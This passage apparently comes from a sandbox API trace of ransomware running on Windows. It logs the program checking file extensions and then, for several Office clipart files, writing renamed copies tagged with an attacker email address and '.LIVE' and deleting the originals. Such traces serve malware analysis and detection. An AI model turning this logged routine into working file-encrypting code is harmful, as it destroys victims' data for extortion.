returned 4 [0158.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.512] lstrlenW (lpString=".rar") returned 4 [0158.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.512] lstrlenW (lpString=".bz2") returned 4 [0158.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.513] lstrlenW (lpString=".7z") returned 3 [0158.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.513] lstrlenW (lpString=".dbf") returned 4 [0158.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.513] lstrlenW (lpString=".1cd") returned 4 [0158.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.513] lstrlenW (lpString=".jpg") returned 4 [0158.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.513] lstrlenW (lpString=".doc") returned 4 [0158.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.513] lstrlenW (lpString=".docx") returned 5 [0158.513] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.513] lstrlenW (lpString=".pdf") returned 4 [0158.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.513] lstrlenW (lpString=".xls") returned 4 [0158.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.513] lstrlenW (lpString=".xlsx") returned 5 [0158.513] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.513] lstrlenW (lpString=".ppt") returned 4 [0158.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.513] lstrlenW (lpString=".zip") returned 4 [0158.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.513] lstrlenW (lpString=".rar") returned 4 [0158.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.513] lstrlenW (lpString=".bz2") returned 4 [0158.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.513] lstrlenW (lpString=".7z") returned 3 [0158.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.513] lstrlenW (lpString=".dbf") returned 4 [0158.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.514] lstrlenW (lpString=".1cd") returned 4 [0158.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.514] lstrlenW (lpString=".jpg") returned 4 [0158.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.514] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.514] lstrlenW (lpString="J0151067.WMF") returned 12 [0158.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0158.514] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=13204) returned 1 [0158.514] CloseHandle (hObject=0x1f8) returned 1 [0158.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf")) returned 0x20 [0158.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0158.515] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.515] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.516] GetLastError () returned 0x0 [0158.516] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3394, lpOverlapped=0x0) returned 1 [0158.590] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x33a0, lpOverlapped=0x0) returned 1 [0158.591] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.591] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.591] SetEndOfFile (hFile=0x38c) returned 1 [0158.591] CloseHandle (hObject=0x38c) returned 1 [0158.591] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.591] SetEndOfFile (hFile=0x1f8) returned 1 [0158.593] CloseHandle (hObject=0x1f8) returned 1 [0158.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0158.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.595] lstrlenW (lpString=".doc") returned 4 [0158.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.595] lstrlenW (lpString=".docx") returned 5 [0158.595] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0158.595] lstrlenW (lpString=".pdf") returned 4 [0158.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.595] lstrlenW (lpString=".xls") returned 4 [0158.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.595] lstrlenW (lpString=".xlsx") returned 5 [0158.595] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0158.595] lstrlenW (lpString=".ppt") returned 4 [0158.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.595] lstrlenW (lpString=".zip") returned 4 [0158.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.595] lstrlenW (lpString=".rar") returned 4 [0158.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.595] lstrlenW (lpString=".bz2") returned 4 [0158.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.595] lstrlenW (lpString=".7z") returned 3 [0158.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.595] lstrlenW (lpString=".dbf") returned 4 [0158.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.595] lstrlenW (lpString=".1cd") returned 4 [0158.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.595] lstrlenW (lpString=".jpg") returned 4 [0158.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.596] lstrlenW (lpString=".doc") returned 4 [0158.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.596] lstrlenW (lpString=".docx") returned 5 [0158.596] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0158.596] lstrlenW (lpString=".pdf") returned 4 [0158.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.596] lstrlenW (lpString=".xls") returned 4 [0158.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.596] lstrlenW (lpString=".xlsx") returned 5 [0158.596] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0158.596] lstrlenW (lpString=".ppt") returned 4 [0158.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.596] lstrlenW (lpString=".zip") returned 4 [0158.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.596] lstrlenW (lpString=".rar") returned 4 [0158.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.596] lstrlenW (lpString=".bz2") returned 4 [0158.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.596] lstrlenW (lpString=".7z") returned 3 [0158.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.596] lstrlenW (lpString=".dbf") returned 4 [0158.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.596] lstrlenW (lpString=".1cd") returned 4 [0158.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0158.596] lstrlenW (lpString=".jpg") returned 4 [0158.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.596] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.597] lstrlenW (lpString="J0152414.WMF") returned 12 [0158.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.625] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=24844) returned 1 [0158.625] CloseHandle (hObject=0x1e0) returned 1 [0158.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf")) returned 0x20 [0158.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.629] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.629] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.630] GetLastError () returned 0x0 [0158.630] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x610c, lpOverlapped=0x0) returned 1 [0158.635] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6110, lpOverlapped=0x0) returned 1 [0158.636] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.636] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.636] SetEndOfFile (hFile=0x1dc) returned 1 [0158.637] CloseHandle (hObject=0x1dc) returned 1 [0158.637] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.637] SetEndOfFile (hFile=0x1e0) returned 1 [0158.639] CloseHandle (hObject=0x1e0) returned 1 [0158.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0158.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.640] lstrlenW (lpString=".doc") returned 4 [0158.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.640] lstrlenW (lpString=".docx") returned 5 [0158.640] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0158.640] lstrlenW (lpString=".pdf") returned 4 [0158.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.640] lstrlenW (lpString=".xls") returned 4 [0158.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.640] lstrlenW (lpString=".xlsx") returned 5 [0158.640] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0158.641] lstrlenW (lpString=".ppt") returned 4 [0158.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.641] lstrlenW (lpString=".zip") returned 4 [0158.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.641] lstrlenW (lpString=".rar") returned 4 [0158.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.641] lstrlenW (lpString=".bz2") returned 4 [0158.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.641] lstrlenW (lpString=".7z") returned 3 [0158.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.641] lstrlenW (lpString=".dbf") returned 4 [0158.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.641] lstrlenW (lpString=".1cd") returned 4 [0158.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.641] lstrlenW (lpString=".jpg") returned 4 [0158.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.641] lstrlenW (lpString=".doc") returned 4 [0158.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.641] lstrlenW (lpString=".docx") returned 5 [0158.641] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0158.641] lstrlenW (lpString=".pdf") returned 4 [0158.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.641] lstrlenW (lpString=".xls") returned 4 [0158.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.641] lstrlenW (lpString=".xlsx") returned 5 [0158.641] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0158.641] lstrlenW (lpString=".ppt") returned 4 [0158.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.641] lstrlenW (lpString=".zip") returned 4 [0158.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.642] lstrlenW (lpString=".rar") returned 4 [0158.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.642] lstrlenW (lpString=".bz2") returned 4 [0158.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.642] lstrlenW (lpString=".7z") returned 3 [0158.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.642] lstrlenW (lpString=".dbf") returned 4 [0158.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.642] lstrlenW (lpString=".1cd") returned 4 [0158.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0158.642] lstrlenW (lpString=".jpg") returned 4 [0158.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.642] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.642] lstrlenW (lpString="J0152430.WMF") returned 12 [0158.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.645] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=14132) returned 1 [0158.645] CloseHandle (hObject=0x1dc) returned 1 [0158.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 0x20 [0158.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.645] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.645] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.646] GetLastError () returned 0x0 [0158.646] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3734, lpOverlapped=0x0) returned 1 [0158.648] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3740, lpOverlapped=0x0) returned 1 [0158.649] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.649] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.649] SetEndOfFile (hFile=0x380) returned 1 [0158.649] CloseHandle (hObject=0x380) returned 1 [0158.649] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.649] SetEndOfFile (hFile=0x1dc) returned 1 [0158.652] CloseHandle (hObject=0x1dc) returned 1 [0158.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.653] lstrlenW (lpString=".doc") returned 4 [0158.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.653] lstrlenW (lpString=".docx") returned 5 [0158.653] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0158.653] lstrlenW (lpString=".pdf") returned 4 [0158.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.653] lstrlenW (lpString=".xls") returned 4 [0158.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.653] lstrlenW (lpString=".xlsx") returned 5 [0158.653] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0158.653] lstrlenW (lpString=".ppt") returned 4 [0158.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.653] lstrlenW (lpString=".zip") returned 4 [0158.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.653] lstrlenW (lpString=".rar") returned 4 [0158.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.653] lstrlenW (lpString=".bz2") returned 4 [0158.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.653] lstrlenW (lpString=".7z") returned 3 [0158.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.653] lstrlenW (lpString=".dbf") returned 4 [0158.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft 